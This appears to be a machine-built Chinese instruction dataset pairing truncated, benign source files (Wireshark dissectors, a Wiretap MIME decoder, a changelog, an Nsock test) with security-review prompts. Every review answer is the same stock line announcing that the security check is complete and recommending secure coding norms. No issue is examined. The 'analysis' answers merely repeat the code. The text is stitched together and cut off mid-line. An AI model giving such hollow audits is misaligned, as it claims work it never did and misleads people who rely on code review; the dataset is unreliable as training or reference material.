 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/**
 * References:
 * [1] CIPA DC-X005-2005 - PTP-IP
 * [2] BS ISO 15740:2008 - Photography Electronic still picture imaging - Picture transfer protocol (PTP)
 * for digital still photography devices
 * [3] gPhoto's Reversed Engineered PTP/IP documentation - http://gphoto.sourceforge.net/doc/ptpip.php
 * [4] gPhoto's ptp2 header file  https://gphoto.svn.sourceforge.net/svnroot/gphoto/trunk/libgphoto2/camlibs/ptp2/ptp.h
 *
 * @todo: This is being written as 1 dissector when in reality there is PTP/IP and PTP.
 *        Future work should include splitting this into 2 so that the PTP layer may be used again for PTP/USB.
 */
#include "config.h"
#include <epan/packet.h>
#include <epan/prefs.h>
#include "packet-ptpip.h"

/* Define */
#define PTPIP_PORT            15740  /* [1] Section 2.2.3.1 */
#define PTPIP_GUID_SIZE          16  /* [1] Section 2.3.1 */
#define PTPIP_MAX_PARAM_COUNT     5  /* [1] Section 2.3.6 */

/* trees */
static gint ett_ptpIP =  -1;
static gint ett_ptpIP_hdr = -1;

/* PTP/IP Fields */
static int proto_ptpIP = -1;
static int hf_ptpIP_len = -1; /* [1] Section 2.3 */
static int hf_ptpIP_pktType = -1; /* [1] Section 2.3 */
static int hf_ptpIP_guid = -1;
static int hf_ptpIP_name = -1;
static int hf_ptpIP_version = -1;
static int hf_ptpIP_connectionNumber = -1;
static int hf_ptpIP_dataPhaseInfo = -1;

/* note: separating the fields to make it easier to divide this code later. */

/* PTP Fields */
/* picking hf_ptp for now. Might need to change later for namespace issues with Precision Time Protocol. */
static int hf_ptp_opCode = -1;
static int hf_ptp_vendor_opCode = -1;
static int hf_ptp_respCode = -1;
static int hf_ptp_eventCode = -1;
static int hf_ptp_transactionID = -1;
static int...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ptpip.c
 * Routines for PTP/IP (Picture Transfer Protocol) packet dissection
 * 0xBismarck 2013
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/**
 * References:
 * [1] CIPA DC-X005-2005 - PTP-IP
 * [2] BS ISO 15740:2008 - Photography Electronic still picture imaging - Picture transfer protocol (PTP)
 * for digital still photography devices
 * [3] gPhoto's Reversed Engineered PTP/IP documentation - http://gphoto.sourceforge.net/doc/ptpip.php
 * [4] gPhoto's ptp2 header file  https://gphoto.svn.sourceforge.net/svnroot/gphoto/trunk/libgphoto2/camlibs/ptp2/ptp.h
 *
 * @todo: This is being written as 1 dissector when in reality there is PTP/IP and PTP.
 *        Future work should include splitting this into 2 so that the PTP layer may be used again for PTP/USB.
 */
#include "config.h"
#include <epan/packet.h>
#include <epan/prefs.h>
#include "packet-ptpip.h"

/* Define */
#define PTPIP_PORT            15740  /* [1] Section 2.2.3.1 */
#define PTPIP_GUID_SIZE          16  /* [1] Section 2.3.1 */
#define PTPIP_MAX_PARAM_COUNT     5  /* [1] Section 2.3.6 */

/* trees */
static gint ett_ptpIP =  -1;
static gint ett_ptpIP_hdr = -1;

/* PTP/IP Fields */
static int proto_ptpIP = -1;
static int hf_ptpIP_len = -1; /* [1] Section 2.3 */
static int hf_ptpIP_pktType = -1; /* [1] Section 2.3 */
static int hf_ptpIP_guid = -1;
static int hf_ptpIP_name = -1;
static int hf_ptpIP_version = -1;
static int hf_ptpIP_connectionNumber = -1;
static int hf_ptpIP_dataPhaseInfo = -1;

/* note: separating the fields to make it easier to divide this code later. */

/* PTP Fields */
/* picking hf_ptp for now. Might need to change later for namespace issues with Precision Time Protocol. */
static int hf_ptp_opCode = -1;
static int hf_ptp_vendor_opCode = -1;
static int hf_ptp_respCode = -1;
static int hf_ptp_eventCode = -1;
static int hf_ptp_transactionID = -1;
static int...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-atn-cpdlc.c                                                         */
/* asn2wrs.py -u -L -p atn-cpdlc -c ./atn-cpdlc.cnf -s ./packet-atn-cpdlc-template -D . -O ../.. atn-cpdlc.asn */

/* packet-atn-cpdlc-template.c
 * By Mathias Guettler <guettler@web.de>
 * Copyright 2013
 *
 * Routines for ATN Cpdlcc protocol packet disassembly

 * details see:
 * http://en.wikipedia.org/wiki/CPDLC
 * http://members.optusnet.com.au/~cjr/introduction.htm

 * standards:
 * http://legacy.icao.int/anb/panels/acp/repository.cfm

 * note:
 * We are dealing with ATN/CPDLC aka ICAO Doc 9705 Ed2 here
 * (CPDLC may also be transmitted via ACARS/AOA aka "FANS-1/A ").

 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 developper comments:
  Which CPDLC messages are supported ?
    Protected Mode CPDLC (AeQualifier 22) and Plain Old CPDLC (AeQualifier 2)
    The dissector has been tested with ICAO doc9705 Edition2 compliant traffic.
*/

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/conversation.h>
#include "packet-ber.h"
#include "packet-per.h"
#include "packet-atn-ulcs.h"

#define ATN_CPDLC_PROTO "ICAO Doc9705 CPDLC"

void proto_register_atn_cpdlc(void);
void proto_reg_handoff_atn_cpdlc(void);

static const char *object_identifier_id;

/* IA5 charset (7-bit) for PER IA5 decoding */
static const gchar ia5alpha[] = {
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, \
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, \
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, \
    0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x2...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-atn-cpdlc.c                                                         */
/* asn2wrs.py -u -L -p atn-cpdlc -c ./atn-cpdlc.cnf -s ./packet-atn-cpdlc-template -D . -O ../.. atn-cpdlc.asn */

/* packet-atn-cpdlc-template.c
 * By Mathias Guettler <guettler@web.de>
 * Copyright 2013
 *
 * Routines for ATN Cpdlcc protocol packet disassembly

 * details see:
 * http://en.wikipedia.org/wiki/CPDLC
 * http://members.optusnet.com.au/~cjr/introduction.htm

 * standards:
 * http://legacy.icao.int/anb/panels/acp/repository.cfm

 * note:
 * We are dealing with ATN/CPDLC aka ICAO Doc 9705 Ed2 here
 * (CPDLC may also be transmitted via ACARS/AOA aka "FANS-1/A ").

 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 developper comments:
  Which CPDLC messages are supported ?
    Protected Mode CPDLC (AeQualifier 22) and Plain Old CPDLC (AeQualifier 2)
    The dissector has been tested with ICAO doc9705 Edition2 compliant traffic.
*/

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/conversation.h>
#include "packet-ber.h"
#include "packet-per.h"
#include "packet-atn-ulcs.h"

#define ATN_CPDLC_PROTO "ICAO Doc9705 CPDLC"

void proto_register_atn_cpdlc(void);
void proto_reg_handoff_atn_cpdlc(void);

static const char *object_identifier_id;

/* IA5 charset (7-bit) for PER IA5 decoding */
static const gchar ia5alpha[] = {
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, \
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, \
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, \
    0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x2...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* mime_file.c
 *
 * MIME file format decoder for the Wiretap library.
 *
 * This is for use with Wireshark dissectors that handle file
 * formats (e.g., because they handle a particular MIME media type).
 * It breaks the file into chunks of at most WTAP_MAX_PACKET_SIZE_STANDARD,
 * each of which is reported as a packet, so that files larger than
 * WTAP_MAX_PACKET_SIZE_STANDARD can be handled by reassembly.
 *
 * The "MIME file" dissector does the reassembly, and hands the result
 * off to heuristic dissectors to try to identify the file's contents.
 *
 * Wiretap Library
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <sys/types.h>

#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif

#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "mime_file.h"

typedef struct {
	const guint8 *magic;
	guint magic_len;
} mime_files_t;

/*
 * Written by Marton Nemeth <nm127@freemail.hu>
 * Copyright 2009 Marton Nemeth
 * The JPEG specification can be found at:
 *
 * https://www.w3.org/Graphics/JPEG/itu-t81.pdf
 * https://www.itu.int/rec/T-REC-T.81/en (but you have to pay for it)
 *
 * and the JFIF specification can be found at:
 *
 * https://www.itu.int/rec/T-REC-T.871-201105-I/en
 * https://www.w3.org/Graphics/JPEG/jfif3.pdf
 */
static const guint8 jpeg_jfif_magic[] = { 0xFF, 0xD8, /* SOF */
					  0xFF        /* start of the next marker */
					};

/* <?xml */
static const guint8 xml_magic[]    = { '<', '?', 'x', 'm', 'l' };
static const guint8 png_magic[]    = { 0x89, 'P', 'N', 'G', '\r', '\n', 0x1A, '\n' };
static const guint8 gif87a_magic[] = { 'G', 'I', 'F', '8', '7', 'a'};
static const guint8 gif89a_magic[] = { 'G', 'I', 'F', '8', '9', 'a'};
static const guint8 elf_magic[]    = { 0x7F, 'E', 'L', 'F'};
static const guint8 tiff_le_magic[]    = { 'I', 'I', 42, 0 };
static const guint8 tiff_be_magic[]    = { 'M', 'M', 0, 42 };
static const guint8 btsnoop_...


Instruction: 检查这段代码是否存在安全问题

Input:
/* mime_file.c
 *
 * MIME file format decoder for the Wiretap library.
 *
 * This is for use with Wireshark dissectors that handle file
 * formats (e.g., because they handle a particular MIME media type).
 * It breaks the file into chunks of at most WTAP_MAX_PACKET_SIZE_STANDARD,
 * each of which is reported as a packet, so that files larger than
 * WTAP_MAX_PACKET_SIZE_STANDARD can be handled by reassembly.
 *
 * The "MIME file" dissector does the reassembly, and hands the result
 * off to heuristic dissectors to try to identify the file's contents.
 *
 * Wiretap Library
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <sys/types.h>

#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif

#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "mime_file.h"

typedef struct {
	const guint8 *magic;
	guint magic_len;
} mime_files_t;

/*
 * Written by Marton Nemeth <nm127@freemail.hu>
 * Copyright 2009 Marton Nemeth
 * The JPEG specification can be found at:
 *
 * https://www.w3.org/Graphics/JPEG/itu-t81.pdf
 * https://www.itu.int/rec/T-REC-T.81/en (but you have to pay for it)
 *
 * and the JFIF specification can be found at:
 *
 * https://www.itu.int/rec/T-REC-T.871-201105-I/en
 * https://www.w3.org/Graphics/JPEG/jfif3.pdf
 */
static const guint8 jpeg_jfif_magic[] = { 0xFF, 0xD8, /* SOF */
					  0xFF        /* start of the next marker */
					};

/* <?xml */
static const guint8 xml_magic[]    = { '<', '?', 'x', 'm', 'l' };
static const guint8 png_magic[]    = { 0x89, 'P', 'N', 'G', '\r', '\n', 0x1A, '\n' };
static const guint8 gif87a_magic[] = { 'G', 'I', 'F', '8', '7', 'a'};
static const guint8 gif89a_magic[] = { 'G', 'I', 'F', '8', '9', 'a'};
static const guint8 elf_magic[]    = { 0x7F, 'E', 'L', 'F'};
static const guint8 tiff_le_magic[]    = { 'I', 'I', 42, 0 };
static const guint8 tiff_be_magic[]    = { 'M', 'M', 0, 42 };
static const guint8 btsnoop_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-enc.c
 *
 * Copyright (c) 2003 Markus Friedl.  All rights reserved.
 *
 * SPDX-License-Identifier: BSD-2-Clause
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/aftypes.h>
#include <wsutil/pint.h>

void proto_register_enc(void);
void proto_reg_handoff_enc(void);

static dissector_handle_t enc_handle;
static capture_dissector_handle_t enc_cap_handle;

/* The header in OpenBSD Encapsulating Interface files. */

struct enchdr {
  guint32 af;
  guint32 spi;
  guint32 flags;
};
#define BSD_ENC_HDRLEN    12

#define BSD_ENC_M_CONF          0x00000400  /* payload encrypted */
#define BSD_ENC_M_AUTH          0x00000800  /* payload authenticated */
#define BSD_ENC_M_COMP          0x00001000  /* payload compressed */
#define BSD_ENC_M_AUTH_AH       0x00002000  /* header authenticated */

#define BSD_ENC_M_RESERVED      0xFFFFC3FF  /* Reserved/unused flags */

static dissector_table_t enc_dissector_table;

/* header fields */
static int proto_enc = -1;
static int hf_enc_af = -1;
static int hf_enc_spi = -1;
static int hf_enc_flags = -1;
static int hf_enc_flags_payload_enc = -1;
static int hf_enc_flags_payload_auth = -1;
static int hf_enc_flags_payload_compress = -1;
static int hf_enc_flags_header_auth = -1;
static int hf_enc_flags_reserved = -1;

static gint ett_enc = -1;
static gint ett_enc_flag = -1;

static gboolean
capture_enc(const guchar *pd, int offset _U_, int len, capture_packet_info_t *cpinfo, const union wtap_pseudo_header *pseudo_header)
{
  guint32 af;

  if (!BYTES_ARE_IN_FRAME(0, len, BSD_ENC_HDRLEN))
    return FALSE;

  memcpy((char *)&af, (const char *)&pd[0], sizeof(af));
  if ((af & 0xFFFF0000) != 0) {
    /*
     * BSD AF_ types will always have the upper 16 bits as 0, so if any
     * of them are non-zero, the af field must be byte-swapped, and
     * will, at least in DLT_ENC headers, always have at least one of
     * the lower 16 bits not being 0 (it won't be AF_UNSPEC, which is
     * 0),...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-enc.c
 *
 * Copyright (c) 2003 Markus Friedl.  All rights reserved.
 *
 * SPDX-License-Identifier: BSD-2-Clause
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/aftypes.h>
#include <wsutil/pint.h>

void proto_register_enc(void);
void proto_reg_handoff_enc(void);

static dissector_handle_t enc_handle;
static capture_dissector_handle_t enc_cap_handle;

/* The header in OpenBSD Encapsulating Interface files. */

struct enchdr {
  guint32 af;
  guint32 spi;
  guint32 flags;
};
#define BSD_ENC_HDRLEN    12

#define BSD_ENC_M_CONF          0x00000400  /* payload encrypted */
#define BSD_ENC_M_AUTH          0x00000800  /* payload authenticated */
#define BSD_ENC_M_COMP          0x00001000  /* payload compressed */
#define BSD_ENC_M_AUTH_AH       0x00002000  /* header authenticated */

#define BSD_ENC_M_RESERVED      0xFFFFC3FF  /* Reserved/unused flags */

static dissector_table_t enc_dissector_table;

/* header fields */
static int proto_enc = -1;
static int hf_enc_af = -1;
static int hf_enc_spi = -1;
static int hf_enc_flags = -1;
static int hf_enc_flags_payload_enc = -1;
static int hf_enc_flags_payload_auth = -1;
static int hf_enc_flags_payload_compress = -1;
static int hf_enc_flags_header_auth = -1;
static int hf_enc_flags_reserved = -1;

static gint ett_enc = -1;
static gint ett_enc_flag = -1;

static gboolean
capture_enc(const guchar *pd, int offset _U_, int len, capture_packet_info_t *cpinfo, const union wtap_pseudo_header *pseudo_header)
{
  guint32 af;

  if (!BYTES_ARE_IN_FRAME(0, len, BSD_ENC_HDRLEN))
    return FALSE;

  memcpy((char *)&af, (const char *)&pd[0], sizeof(af));
  if ((af & 0xFFFF0000) != 0) {
    /*
     * BSD AF_ types will always have the upper 16 bits as 0, so if any
     * of them are non-zero, the af field must be byte-swapped, and
     * will, at least in DLT_ENC headers, always have at least one of
     * the lower 16 bits not being 0 (it won't be AF_UNSPEC, which is
     * 0),...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Changelog
All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [1.0.0] - 2020-11-26

### Added
* Initial version.

[Unreleased]: https://github.com/phrase/phrase-wordpress-plugin/compare/1.0.0...HEAD
[1.0.0]: https://github.com/phrase/phrase-wordpress-plugin/compare/8a7e821408b379da18263912b35cf6954e83da18...1.0.0


Instruction: 检查这段代码是否存在安全问题

Input:
# Changelog
All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [1.0.0] - 2020-11-26

### Added
* Initial version.

[Unreleased]: https://github.com/phrase/phrase-wordpress-plugin/compare/1.0.0...HEAD
[1.0.0]: https://github.com/phrase/phrase-wordpress-plugin/compare/8a7e821408b379da18263912b35cf6954e83da18...1.0.0

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* tap-rpcprogs.c
 * rpcstat   2002 Ronnie Sahlberg
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* This module provides rpc call/reply SRT statistics to tshark.
 * It is only used by tshark and not wireshark
 */

#include "config.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <glib.h>

#include <epan/packet_info.h>
#include <epan/tap.h>
#include <epan/stat_tap_ui.h>
#include <epan/dissectors/packet-rpc.h>

#include <wsutil/cmdarg_err.h>

#define MICROSECS_PER_SEC   1000000
#define NANOSECS_PER_SEC    1000000000

void register_tap_listener_rpcprogs(void);

/* used to keep track of statistics for a specific program/version */
typedef struct _rpc_program_t {
	struct _rpc_program_t *next;
	guint32 program;
	guint32 version;
	int num;
	nstime_t min;
	nstime_t max;
	nstime_t tot;
} rpc_program_t;

static rpc_program_t *prog_list = NULL;
static int already_enabled = 0;

static tap_packet_status
rpcprogs_packet(void *dummy1 _U_, packet_info *pinfo, epan_dissect_t *edt _U_, const void *pri, tap_flags_t flags _U_)
{
	const rpc_call_info_value *ri = (const rpc_call_info_value *)pri;
	nstime_t delta;
	rpc_program_t *rp = NULL;

	if (!prog_list) {
		/* the list was empty */
		rp = g_new(rpc_program_t, 1);
		rp->next      =	NULL;
		rp->program   =	ri->prog;
		rp->version   =	ri->vers;
		rp->num	      =	0;
		rp->min.secs  =	0;
		rp->min.nsecs =	0;
		rp->max.secs  =	0;
		rp->max.nsecs =	0;
		rp->tot.secs  =	0;
		rp->tot.nsecs =	0;
		prog_list = rp;
	} else if ((ri->prog == prog_list->program)
		&& (ri->vers == prog_list->version)) {
		rp = prog_list;
	} else if ( (ri->prog < prog_list->program)
		|| ((ri->prog == prog_list->program) && (ri->vers < prog_list->version))) {
		/* we should be first entry in list */
		rp = g_new(rpc_program_t, 1);
		rp->next      = prog_list;
		rp->program   = ri->prog;
		rp->version   = ri->vers;
		rp->n...


Instruction: 检查这段代码是否存在安全问题

Input:
/* tap-rpcprogs.c
 * rpcstat   2002 Ronnie Sahlberg
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* This module provides rpc call/reply SRT statistics to tshark.
 * It is only used by tshark and not wireshark
 */

#include "config.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <glib.h>

#include <epan/packet_info.h>
#include <epan/tap.h>
#include <epan/stat_tap_ui.h>
#include <epan/dissectors/packet-rpc.h>

#include <wsutil/cmdarg_err.h>

#define MICROSECS_PER_SEC   1000000
#define NANOSECS_PER_SEC    1000000000

void register_tap_listener_rpcprogs(void);

/* used to keep track of statistics for a specific program/version */
typedef struct _rpc_program_t {
	struct _rpc_program_t *next;
	guint32 program;
	guint32 version;
	int num;
	nstime_t min;
	nstime_t max;
	nstime_t tot;
} rpc_program_t;

static rpc_program_t *prog_list = NULL;
static int already_enabled = 0;

static tap_packet_status
rpcprogs_packet(void *dummy1 _U_, packet_info *pinfo, epan_dissect_t *edt _U_, const void *pri, tap_flags_t flags _U_)
{
	const rpc_call_info_value *ri = (const rpc_call_info_value *)pri;
	nstime_t delta;
	rpc_program_t *rp = NULL;

	if (!prog_list) {
		/* the list was empty */
		rp = g_new(rpc_program_t, 1);
		rp->next      =	NULL;
		rp->program   =	ri->prog;
		rp->version   =	ri->vers;
		rp->num	      =	0;
		rp->min.secs  =	0;
		rp->min.nsecs =	0;
		rp->max.secs  =	0;
		rp->max.nsecs =	0;
		rp->tot.secs  =	0;
		rp->tot.nsecs =	0;
		prog_list = rp;
	} else if ((ri->prog == prog_list->program)
		&& (ri->vers == prog_list->version)) {
		rp = prog_list;
	} else if ( (ri->prog < prog_list->program)
		|| ((ri->prog == prog_list->program) && (ri->vers < prog_list->version))) {
		/* we should be first entry in list */
		rp = g_new(rpc_program_t, 1);
		rp->next      = prog_list;
		rp->program   = ri->prog;
		rp->version   = ri->vers;
		rp->n...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-usb-ccid.c
 * Dissector for the Integrated Circuit Card Interface Device Class
 *
 * References:
 * http://www.usb.org/developers/devclass_docs/DWG_Smart-Card_CCID_Rev110.pdf
 *
 * Copyright 2011, Tyson Key <tyson.key@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 */
#include "config.h"

#include <epan/decode_as.h>
#include <epan/packet.h>
#include <epan/prefs.h>
#include "packet-usb.h"

static int proto_ccid = -1;

static dissector_table_t subdissector_table;

static int hf_ccid_bMessageType = -1;
static int hf_ccid_dwLength = -1;
static int hf_ccid_bSlot = -1;
static int hf_ccid_bSeq = -1;
static int hf_ccid_bStatus = -1;
static int hf_ccid_bStatus_bmIccStatus = -1;
static int hf_ccid_bStatus_bmCommandStatus = -1;
static int hf_ccid_bError = -1;
static int hf_ccid_bRFU = -1;
static int hf_ccid_abRFU = -1;
static int hf_ccid_bChainParameter = -1;
static int hf_ccid_bPowerSelect = -1;
static int hf_ccid_bClockStatus = -1;
static int hf_ccid_bProtocolNum = -1;
static int hf_ccid_bBWI = -1;
static int hf_ccid_wLevelParameter = -1;
static int hf_ccid_bcdCCID = -1;
static int hf_ccid_bMaxSlotIndex = -1;
static int hf_ccid_bVoltageSupport = -1;
static int hf_ccid_bVoltageSupport18 = -1;
static int hf_ccid_bVoltageSupport30 = -1;
static int hf_ccid_bVoltageSupport50 = -1;
static int hf_ccid_dwProtocols = -1;
static int hf_ccid_dwProtocols_t0 = -1;
static int hf_ccid_dwProtocols_t1 = -1;
static int hf_ccid_dwDefaultClock = -1;
static int hf_ccid_dwMaximumClock = -1;
static int hf_ccid_bNumClockSupported = -1;
static int hf_ccid_dwDataRate = -1;
static int hf_ccid_dwMaxDataRate = -1;
static int hf_ccid_bNumDataRatesSupported = -1;
static int hf_ccid_dwMaxIFSD = -1;
static int hf_ccid_dwSynchProtocols = -1;
static int hf_ccid_dwMechanical = -1;
static int hf_ccid_dwFeatures = -1;
static int hf_ccid_dwFeatures_autoParam = -1;
static int...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-usb-ccid.c
 * Dissector for the Integrated Circuit Card Interface Device Class
 *
 * References:
 * http://www.usb.org/developers/devclass_docs/DWG_Smart-Card_CCID_Rev110.pdf
 *
 * Copyright 2011, Tyson Key <tyson.key@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 */
#include "config.h"

#include <epan/decode_as.h>
#include <epan/packet.h>
#include <epan/prefs.h>
#include "packet-usb.h"

static int proto_ccid = -1;

static dissector_table_t subdissector_table;

static int hf_ccid_bMessageType = -1;
static int hf_ccid_dwLength = -1;
static int hf_ccid_bSlot = -1;
static int hf_ccid_bSeq = -1;
static int hf_ccid_bStatus = -1;
static int hf_ccid_bStatus_bmIccStatus = -1;
static int hf_ccid_bStatus_bmCommandStatus = -1;
static int hf_ccid_bError = -1;
static int hf_ccid_bRFU = -1;
static int hf_ccid_abRFU = -1;
static int hf_ccid_bChainParameter = -1;
static int hf_ccid_bPowerSelect = -1;
static int hf_ccid_bClockStatus = -1;
static int hf_ccid_bProtocolNum = -1;
static int hf_ccid_bBWI = -1;
static int hf_ccid_wLevelParameter = -1;
static int hf_ccid_bcdCCID = -1;
static int hf_ccid_bMaxSlotIndex = -1;
static int hf_ccid_bVoltageSupport = -1;
static int hf_ccid_bVoltageSupport18 = -1;
static int hf_ccid_bVoltageSupport30 = -1;
static int hf_ccid_bVoltageSupport50 = -1;
static int hf_ccid_dwProtocols = -1;
static int hf_ccid_dwProtocols_t0 = -1;
static int hf_ccid_dwProtocols_t1 = -1;
static int hf_ccid_dwDefaultClock = -1;
static int hf_ccid_dwMaximumClock = -1;
static int hf_ccid_bNumClockSupported = -1;
static int hf_ccid_dwDataRate = -1;
static int hf_ccid_dwMaxDataRate = -1;
static int hf_ccid_bNumDataRatesSupported = -1;
static int hf_ccid_dwMaxIFSD = -1;
static int hf_ccid_dwSynchProtocols = -1;
static int hf_ccid_dwMechanical = -1;
static int hf_ccid_dwFeatures = -1;
static int hf_ccid_dwFeatures_autoParam = -1;
static int...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Nsock regression test suite
 * Same license as nmap -- see https://nmap.org/book/man-legal.html
 */

#include "test-common.h"

struct basic_test_data {
  nsock_pool nsp;
};

static void cancel_handler(nsock_pool nsp, nsock_event nse, void *udata) {
  int *ev_done = (int *)udata;

  if (nse_status(nse) == NSE_STATUS_CANCELLED)
    *ev_done = 1;
}

static int cancel_setup(void **tdata) {
  struct basic_test_data *btd;

  btd = calloc(1, sizeof(struct basic_test_data));
  if (btd == NULL)
    return -ENOMEM;

  btd->nsp = nsock_pool_new(NULL);

  *tdata = btd;
  return 0;
}

static int cancel_teardown(void *tdata) {
  struct basic_test_data *btd = (struct basic_test_data *)tdata;

  if (tdata) {
    nsock_pool_delete(btd->nsp);
    free(tdata);
  }
  return 0;
}

static int cancel_tcp_run(void *tdata) {
  struct basic_test_data *btd = (struct basic_test_data *)tdata;
  struct sockaddr_in peer;
  nsock_iod iod;
  nsock_event_id id;
  int done = 0;

  iod = nsock_iod_new(btd->nsp, NULL);
  AssertNonNull(iod);

  memset(&peer, 0, sizeof(peer));
  peer.sin_family = AF_INET;
  inet_aton("127.0.0.1", &peer.sin_addr);

  id = nsock_connect_tcp(btd->nsp, iod, cancel_handler, 4000, (void *)&done,
                         (struct sockaddr *)&peer, sizeof(peer), PORT_TCP);
  nsock_event_cancel(btd->nsp, id, 1);

  nsock_iod_delete(iod, NSOCK_PENDING_SILENT);

  return (done == 1) ? 0 : -ENOEXEC;
}

static int cancel_udp_run(void *tdata) {
  struct basic_test_data *btd = (struct basic_test_data *)tdata;
  struct sockaddr_in peer;
  nsock_iod iod;
  nsock_event_id id;
  int done = 0;

  iod = nsock_iod_new(btd->nsp, NULL);
  AssertNonNull(iod);

  memset(&peer, 0, sizeof(peer));
  peer.sin_family = AF_INET;
  inet_aton("127.0.0.1", &peer.sin_addr);

  id = nsock_connect_udp(btd->nsp, iod, cancel_handler, (void *)&done,
                         (struct sockaddr *)&peer, sizeof(peer), PORT_UDP);
  nsock_event_cancel(btd->nsp, id, 1);

  nsock_iod_delete(iod, NSOCK_PENDING_SIL...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Nsock regression test suite
 * Same license as nmap -- see https://nmap.org/book/man-legal.html
 */

#include "test-common.h"

struct basic_test_data {
  nsock_pool nsp;
};

static void cancel_handler(nsock_pool nsp, nsock_event nse, void *udata) {
  int *ev_done = (int *)udata;

  if (nse_status(nse) == NSE_STATUS_CANCELLED)
    *ev_done = 1;
}

static int cancel_setup(void **tdata) {
  struct basic_test_data *btd;

  btd = calloc(1, sizeof(struct basic_test_data));
  if (btd == NULL)
    return -ENOMEM;

  btd->nsp = nsock_pool_new(NULL);

  *tdata = btd;
  return 0;
}

static int cancel_teardown(void *tdata) {
  struct basic_test_data *btd = (struct basic_test_data *)tdata;

  if (tdata) {
    nsock_pool_delete(btd->nsp);
    free(tdata);
  }
  return 0;
}

static int cancel_tcp_run(void *tdata) {
  struct basic_test_data *btd = (struct basic_test_data *)tdata;
  struct sockaddr_in peer;
  nsock_iod iod;
  nsock_event_id id;
  int done = 0;

  iod = nsock_iod_new(btd->nsp, NULL);
  AssertNonNull(iod);

  memset(&peer, 0, sizeof(peer));
  peer.sin_family = AF_INET;
